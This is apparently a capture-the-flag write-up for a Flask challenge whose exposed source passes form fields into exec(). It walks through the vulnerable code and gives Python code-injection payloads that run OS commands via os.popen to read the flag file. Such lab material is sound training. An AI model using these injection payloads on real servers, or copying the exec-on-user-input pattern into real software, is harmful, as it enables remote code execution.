Skip to content

baby interdimensional internet

Scenario

aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez

Solution

The challenge is a static website that displays seemingly random numbers:

alt text

In the HTML source, there is a hint about a possible /debug page:

1
2
3
4
...
</body>
<!-- /debug -->
</html>

Navigating to /debug reveals the page source:

app.py
from flask import Flask, Response, request, render_template, request
from random import choice, randint
#from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
    global garage
    garage = {}
    print(recipe)
    try: exec(recipe, garage)
    except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
    @wraps(func)
    def federation(*args, **kwargs):
        ingredient = ''
        recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

        if request.method == 'POST':
            ingredient = request.form.get('ingredient', '')
            recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
        print(ingredient)
        calc(recipe)

        if garage.get(ingredient, ''):
            return render_template('index.html', calculations=garage[ingredient])

        return func(*args, **kwargs)
    return federation

@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run('0.0.0.0', port=1337)

The source code reveals that the website is actually a Flask app. The application defines two routes, / and /debug, of which / is of interest. This route accepts both GET and POST requests and calls a custom function (GCR) when invoked:

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
        @wraps(func)
        def federation(*args, **kwargs):
            ingredient = ''
            recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

            if request.method == 'POST':
                ingredient = request.form.get('ingredient', '')
                recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
            calc(recipe)
            if garage.get(ingredient, ''):
                return render_template('index.html', calculations=garage[ingredient])
...
The number displayed on the page is indeed randomly generated and stored in the recipe variable. If the request method used is POST, the application also looks for the parameters ingredient and measurements. It then calls calc():

1
2
3
4
5
def calc(recipe):
    global garage
    garage = {}
    try: exec(recipe, garage)
    except: pass

The critical line in the calc() function is the call to exec() on line 4. exec() allows running arbitrary Python code dynamically, which makes input validation critical. As this is lacking from the application, a user may execute arbitrary Python code by making a POST request to the application with the parameters ingredient and measurements.

The syntax for exec() is:

exec object[ in globals[,locals]]

object can be a string or a code object, globals and locals are dictionaries. Applies to the calc() function above, object is recipe, while garage is defined as a global dictionary.

The parameters for recipe are passed like so:

1
2
3
4
>>> ingredient, measurements = 'cmd', '1+1'
>>> recipe = '%s = %s' % (ingredient, measurements)
>>> recipe
'cmd = 1+1'

Since garage is a global dictionary, it has access to recipe like so:

1
2
3
4
5
6
>>> garage = {}
>>> exec(recipe, garage)
>>> garage.keys()
['__builtins__', 'cmd']
>>> garage.get('cmd')
2

The result shows that using exec() this way allows for arbitrary code execution. By modifying the payload, this can be abused for executing OS commands:

1
2
3
4
5
6
>>> ingredient, measurements = 'cmd', '__import__("os").popen("whoami").read()'
>>> recipe = '%s = %s' % (ingredient, measurements)
>>> garage = {}
>>> exec(recipe, garage)
>>> garage.get('cmd')
'kali\n'

The flag can be retrieved by placing a POST request to the application like so:

ingredient=garage&measurements=__import__("os").popen("cat+flag").read()

Got the flag:

alt text